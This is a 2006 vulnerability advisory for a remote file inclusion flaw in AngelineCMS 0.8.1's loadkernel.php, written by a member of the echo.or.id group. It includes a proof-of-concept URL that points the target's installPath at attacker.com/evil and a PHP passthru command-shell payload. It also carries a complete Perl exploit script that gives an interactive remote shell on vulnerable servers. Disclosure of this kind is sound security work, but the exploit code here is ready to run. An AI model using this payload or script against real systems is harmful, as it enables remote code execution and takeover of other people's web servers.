AngelineCMS0.8.1.txt

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\_ _____/\_ ___ \ / | \\_____ \   
| __)_ / \ \// ~ \/ | \   
| \\ \___\ Y / | \  
/_______ / \______ /\___|_ /\_______ /  
\/ \/ \/ \/   
  
.OR.ID  
ECHO_ADV_27$2006  
  
---------------------------------------------------------------------------  
[ECHO_ADV_27$2006] AngelineCMS 0.8.1 Installpath Remote File Inclusion  
---------------------------------------------------------------------------  
  
Author : M.Hasran Addahroni  
Date : April, 4th 2006  
Location : Indonesia, Bali  
Web : http://advisories.echo.or.id/adv/adv27-K-159-2006.txt  
Critical Lvl : Dangerous  
---------------------------------------------------------------------------  
  
Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Indexu  
  
Application : AngelineCMS   
version : 0.8.1  
URL : http://angelinecms.info/  
Description :  
  
AngelineCMS is an open source Content Management System (CMS) and a complete Web Development Framework (Application server). It's written from ground up to take advance of PHP5's object-oriented features. AngelineCMS is Open Source software under OSI approved Mozilla Public License. AngelineCMS aims for easy, innovative solutions for daily web publishing problems.   
  
---------------------------------------------------------------------------  
  
Proof of Concept:  
~~~~~~~~~~~~~~~~  
Vulnerable Script: loadkernel.php in kernel folder.  
  
---------------loadkernel.php--------------------------------  
...  
include_once($installPath."/kernel/common/time.php");  
...  
------------------------------------------------------------------  
  
Variables $installpath are not properly sanitized.When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.  
  
Poc/Exploit:  
~~~~~~~~~~~~  
  
http://www.target.com/[angelinecms_path]/kernel/loadkernel.php?installPath=http://attacker.com/evil?  
  
Solution:  
~~~~~~~~~  
  
sanitize the script code in loadkernel.php to protect this vulerability  
  
Notification:  
~~~~~~~~~~~~  
  
vendor was contact  
  
---------------------------------------------------------------------------  
Shoutz:  
~~~~~~~  
  
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous,kaiten  
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw  
~ sinChan,x`shell,tety,sakitjiwa, m_beben, rizal, cR4SH3R, metalsploit  
~ [email protected]   
~ #aikmel #e-c-h-o @irc.dal.net  
---------------------------------------------------------------------------  
Contact:  
~~~~~~~~  
  
K-159 || echo|staff || eufrato[at]gmail[dot]com  
Homepage: http://k-159.echo.or.id/  
  
-------------------------------- [ EOF ] ----------------------------------  
  
Perl Exploit:  
~~~~~~~~~~~~  
  
#!/usr/bin/perl  
##  
# AngelineCMS 0.8.1 installpath Remote Code Execution Exploit  
# Bug Found & code By K-159   
# code reference from uid0/zod at ExploiterCode.com  
##  
# echo.or.id (c) 2006  
#   
##  
# usage:  
# perl angelineCMS.pl <target> <cmd shell location> <cmd shell variable>  
#  
# perl angelineCMS.pl http://target.com/ http://site.com/cmd.txt cmd  
#  
# cmd shell example: <?passthru($_GET[cmd]);?>  
#  
# cmd shell variable: ($_GET[cmd]);  
##  
# #  
#   
# Contact: www.echo.or.id #e-c-h-o @irc.dal.net  
##  
  
use LWP::UserAgent;  
  
$Path = $ARGV[0];  
$Pathtocmd = $ARGV[1];  
$cmdv = $ARGV[2];  
  
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}  
  
head();  
  
while()  
{  
print "[shell] \$";  
while(<STDIN>)  
{  
$cmd=$_;  
chomp($cmd);  
  
$xpl = LWP::UserAgent->new() or die;  
$req = HTTP::Request->new(GET =>$Path.'kernel/loadkernel.php?installPath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";  
  
$res = $xpl->request($req);  
$return = $res->content;  
$return =~ tr/[\n]/[ê]/;  
  
if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}  
  
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)  
{print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}  
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}  
  
if($return =~ /(.*)/)  
  
  
{  
$finreturn = $1;  
$finreturn=~ tr/[ê]/[\n]/;  
print "\r\n$finreturn\n\r";  
last;  
}  
  
else {print "[shell] \$";}}}last;  
  
sub head()  
{  
print "\n============================================================================\r\n";  
print " *AngelineCMS 0.8.1 installpath Remote Code Execution Exploit*\r\n";  
print "============================================================================\r\n";  
}  
sub usage()  
{  
head();  
print " Usage: perl angelineCMS.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";  
print " <Site> - Full path to angelineCMS ex: http://www.site.com/ \r\n";  
print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";  
print " <cmd variable> - Command variable used in php shell \r\n";  
print "============================================================================\r\n";  
print " Bug Found by K-159 \r\n";  
print " www.echo.or.id #e-c-h-o irc.dal.net \r\n";  
print "============================================================================\r\n";  
exit();  
}  
`